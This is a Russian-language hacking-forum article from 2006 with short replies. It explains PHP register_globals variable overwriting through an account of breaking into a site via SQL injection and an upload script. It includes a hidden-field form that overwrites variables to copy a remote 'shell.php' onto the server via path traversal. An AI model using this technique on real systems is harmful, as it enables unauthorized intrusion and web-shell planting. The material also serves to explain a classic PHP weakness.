Авторские статьи Уязвимости register_globals

Discussion in 'Статьи' started by LoFFi, 12 Nov 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    register_globals [ON]
    Подмена переменных
    --------------------------------------------------------------

    Вступление
    Совсем недавно я столкнулся с весьма необычным взломом. Необычным, потому что обычные методы, мне не помогли. Поэтому я решил поделится с вами этим методом, так как, я считаю, он имеет право на существование.


    Теория
    Как известно в пхп есть такая вещь как register_globals. Вдруг кто не знает - я объясню что это такое.

    Register_globals - это одна из установок php.ini которая при ее включении позволяет регистрировать глобальные переменные. Ну это если дословно.

    На практике же это собой представляет:
    Можно передавать данные между скриптами методами GET или POST, но чтобы принять переменную, в скрипте должна быть строка
    PHP:
    $i $_GET['i'];
    Данный код говорит о том, что для данного скрипта создана переменная $i, и в неё записаны данные переменной 'i' переданной скрипту методом GET.

    Но если включен register_globals, но данная строка не нужна! При передачи скрипту какой либо переменной, если ее название будет совпадать с уже существующей, то оно ее просто заменит.

    То есть если есть такой скрипт:
    PHP:
    <?
    echo 
    $i;
    ?>
    и есть html файл
    Code:
    <form action='script.php' method=POST>
    <input type=hidden name='i' value='123'>
    <input type=submit value='ok'>
    </form>
    
    То при его исполнении пхп скрипт выдаст на экран 123

    Из жизни...
    Как я уже говорил, недавно я встретился с таким вот взломом. Ресурс был давольно крупный, но с достаточно тупыми багами. Там была MySQL Injection и к моему счастью file_priv был [ON]
    Я мог читать файлы. Недолго думая я проверил таблицы, и нашел таблицу admins, но радость моя была не долгой - хеши были какие-то еврейские.
    Админку я нашел абсолютно случайно, в очень редком и непредвиденном для нее месте http://site.com/admin/
    Меня приветсвовал скрипт предлагающий выбрать юзера из комбобокса, и ввести пасс к нему. Недолго думая я прочитал сурс админки - пассы лежали в чистом виде.

    Теперь я мог добавлять новости и АПЛОАДИТЬ КАРТИНКИ. Более того, скрипт даже не проверял расширение файла, НО почему то я увидел вверху страницы надпись:

    Warning: copy(/images/shell.php) [function.copy]: failed to open stream: No such file or directory in...

    то есть просто не существовало такой диры.
    Я решил почитать сурс аплоадера. там я увидел примерно такой код:
    Code:
    ...
    if(isset($file))
    {
    copy($file,"/images/".$file_name);
    }
    ...
    
    Далее просто я решил подменить переменные.
    Для этого я создал HTML файл, и вписал туда.

    Code:
    <input type=hidden name="file" value="http://www.site.com/shell.php">
    <input type=hidden name="file_name" value="../shell.php">
    
    Запустил с локалхоста... Шелл уже ждал меня на сервере...


    Вывод
    Конечно в реальной истории было все намного сложнее и запутанней, но здесь я привел лишь модель.
    Смысл баги в том, что, как правило, разработчики не предвидят возможность "плохого" использования register_globals а так как помоему на всех хостингах сейчас register_globals ON, то в определенных ситуациях это может нести смертельную опасность для безопасности скриптов.


    --------------------------------------------------------------------
    LoFFi (c)
     
    #1 LoFFi, 12 Nov 2006
    Last edited: 12 Nov 2006
    11 people like this.
  2. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Мне лично редко встречаются хосты с Register_Glabals=On, обычно ставять Off на более нормальных серваках
     
  3. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    ну может и не часто, но когда нибудь статья пригодится
     
  4. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    поправка: на всех несккурных/шаред хостингах.
    На хороших оно off.